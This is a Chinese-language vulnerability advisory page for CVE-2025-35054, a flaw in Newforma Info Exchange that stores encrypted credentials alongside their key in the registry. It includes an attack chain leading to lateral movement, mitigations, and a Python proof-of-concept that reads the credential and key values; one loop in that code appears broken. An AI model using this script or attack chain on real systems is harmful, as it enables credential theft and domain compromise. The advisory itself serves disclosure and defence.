IPBUF安全漏洞报告
English
CVE-2025-35054 CVSS 5.3 中危

Newforma Info Exchange凭证加密密钥同存储导致凭据泄露漏洞

披露日期: 2025-10-09
来源: 9119a7d8-5eab-497f-8521-727c672e3725

漏洞信息

漏洞编号
CVE-2025-35054
漏洞类型
不安全凭证存储(凭据明文/弱加密泄露)
CVSS评分
5.3 中危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Newforma Info Exchange (NIX)

相关标签

CVE-2025-35054NewformaInfo ExchangeNIX凭证泄露注册表存储WindowsActive Directory凭据管理加密密钥泄露

漏洞概述

CVE-2025-35054是Newforma Info Exchange(NIX)软件中存在的一个安全漏洞。该漏洞源于NIX在配置NPCS(Newforma Project Center Server)时将用户凭证存储于Windows注册表路径'HKLM\Software\WOW6432Node\Newforma\<version>\Credentials'中。虽然开发人员对凭证进行了加密处理,但加密密钥也被存储在同一注册表位置中,这意味着任何经过身份验证的低权限用户都可以同时访问加密的凭证及其对应的解密密钥。

该漏洞的安全风险在于:一旦攻击者获得了对目标系统的本地访问权限(即使是低权限账户),便可以读取注册表中的加密凭证和解密密钥,从而解密出明文凭证。如果这些被泄露的凭证是Active Directory域账户凭据,攻击者将能够利用这些凭据访问组织内的其他系统和资源,进一步扩大攻击范围,可能导致横向移动、特权提升甚至整个域控制器的沦陷。

此漏洞的CVSS 3.1评分为5.3分,属于中危级别。其攻击向量为本地(AV:L),需要低权限认证(PR:L),无需用户交互(UI:N),对机密性、完整性和可用性均产生低影响(C:L/I:L/A:L)。该漏洞由CISA(美国网络安全和基础设施安全局)通过其漏洞协调工作进行披露,并关联了相关的CSAF(通用安全咨询框架)安全公告。

技术细节

该漏洞的核心技术问题在于凭证存储架构设计不当,具体技术细节如下:

1. **存储位置**:NIX将NPCS配置凭证存储在Windows注册表的'HKLM\Software\WOW6432Node\Newforma\<version>\Credentials'路径下。HKLM(HKEY_LOCAL_MACHINE)是本地计算机的配置存储,通常所有用户都可以读取其中的数据。

2. **加密机制缺陷**:虽然开发人员意识到直接存储明文凭证存在安全风险,因此对凭证进行了加密。然而,加密密钥与加密数据存储在相同的注册表位置(同一Hive下的相邻或相同键值中),这完全违背了密码学的基本原则——密钥与加密数据必须分离存储。

3. **权限控制不足**:HKLM下的注册表项默认对认证用户(包括普通用户)具有读取权限。Windows注册表的ACL(访问控制列表)并未对此敏感路径进行额外的权限限制,导致低权限用户可以自由访问。

4. **利用方式**:攻击者只需拥有目标系统的本地低权限账户,使用Windows自带的reg.exe工具或PowerShell的Get-ItemProperty等命令即可读取注册表中的加密凭证和密钥。随后使用相同的加密算法和密钥对凭证进行解密,获取明文凭据。

5. **影响放大**:如果获取的明文凭证为Active Directory域账户,攻击者可利用这些凭据进行Pass-the-Hash攻击、横向移动到其他系统,甚至尝试特权提升,严重时可导致整个Active Directory域被攻陷。

攻击链分析

STEP 1
步骤1:获取初始访问
攻击者通过钓鱼攻击、漏洞利用或其他方式获取目标系统中任意低权限用户的本地账户凭据,获得对目标Windows系统的本地访问权限。
STEP 2
步骤2:枚举注册表中的凭证
使用reg.exe、PowerShell或Python等工具读取注册表路径HKLM\Software\WOW6432Node\Newforma\<version>\Credentials下的所有值。由于该路径对认证用户默认可读,攻击者可以同时获取加密凭证和加密密钥。
STEP 3
步骤3:解密凭证
利用与加密凭证存储在同一位置的解密密钥,使用NIX相同的加密算法对凭证进行解密,获取明文凭证内容(如用户名和密码)。
STEP 4
步骤4:利用泄露的AD凭据进行横向移动
如果解密的明文凭证为Active Directory域账户,攻击者可以使用这些凭据通过Pass-the-Hash或Pass-the-Ticket等方式对域内其他系统进行身份验证,实现横向移动。
STEP 5
步骤5:特权提升与域控制
利用泄露的域账户凭据进行侦察,寻找特权提升机会(如Kerberoasting、AS-REP Roasting等),最终可能获取域管理员权限,控制整个Active Directory域。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# PoC for CVE-2025-35054 # Exploit: Extract encrypted credentials and decryption key from Windows Registry # Target: Newforma Info Exchange (NIX) NPCS configuration # Registry Path: HKLM\Software\WOW6432Node\Newforma\<version>\Credentials import winreg import sys def extract_nix_credentials(version="Latest"): """ Extract encrypted credentials and encryption key from NIX registry. The encryption key is stored alongside the encrypted credentials, allowing trivial decryption by any authenticated user. """ registry_path = f"SOFTWARE\WOW6432Node\Newforma\{version}\Credentials" try: # Open the registry key (HKLM\Software\WOW6432Node\Newforma\<version>\Credentials) reg_key = winreg.OpenKey( winreg.HKEY_LOCAL_MACHINE, registry_path, 0, winreg.KEY_READ ) credentials = {} encryption_key = None # Enumerate all values under the Credentials key i = 0 while True: try: value_name, value_data, value_type = winreg.EnumValue(reg_key, i) # The encryption key is typically stored in the same location if "key" in value_name.lower() or "secret" in value_name.lower(): encryption_key = value_data print(f"[+] Found encryption key: {value_name}") else: credentials[value_name] = value_data print(f"[+] Found encrypted credential: {value_name}") i += 1 except OSError: break winreg.CloseKey(reg_key) if encryption_key and credentials: print(f"\n[!] VULNERABLE: Encryption key found alongside credentials!") print(f"[!] Key location: HKLM\\{registry_path}") print(f"[!] Number of credentials found: {len(credentials)}") print(f"\n[*] An attacker with local access can decrypt these credentials") print(f"[*] using the co-located encryption key to obtain plaintext.") # In a real exploit, the next step would be to use the encryption_key # to decrypt each credential value using the same algorithm NIX uses. return credentials, encryption_key else: print("[-] Encryption key or credentials not found at expected path.") return None, None except PermissionError: print("[-] Permission denied. Requires at least local user access.") return None, None except FileNotFoundError: print(f"[-] Registry path not found: {registry_path}") print("[-] NIX may not be installed or version path differs.") return None, None if __name__ == "__main__": print("=" * 70) print("CVE-2025-35054 - Newforma Info Exchange Credential Extraction PoC") print("=" * 70) # Try to enumerate installed Newforma versions try: parent_key = winreg.OpenKey( winreg.HKEY_LOCAL_MACHINE, "SOFTWARE\WOW6432Node\Newforma", 0, winreg.KEY_READ ) i = 0 versions = [] while True: try: version, _, _ = winreg.EnumKey(parent_key, i) versions.append(version) i += 1 except OSError: break winreg.CloseKey(parent_key) if versions: print(f"\n[*] Found Newforma versions: {versions}") for ver in versions: extract_nix_credentials(ver) else: extract_nix_credentials() except FileNotFoundError: print("[-] Newforma software not found on this system.")

影响范围

Newforma Info Exchange (NIX) 所有存储NPCS凭证的版本

防御指南

临时缓解措施
在官方补丁发布之前,建议采取以下临时缓解措施:1)使用Windows注册表权限编辑器(regedit)为HKLM\Software\WOW6432Node\Newforma注册表路径设置严格的ACL,仅允许Administrators组和SYSTEM账户完全控制,拒绝普通用户的读取权限;2)立即更改所有可能存储在NIX中的Active Directory域账户密码,并启用强密码策略;3)使用专用服务账户配置NIX的NPCS连接,并限制该服务账户在域内的权限范围;4)部署Sysmon等终端检测工具,监控对敏感注册表路径的访问事件;5)定期审计NIX存储的凭证,及时清理不再使用的旧凭证。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表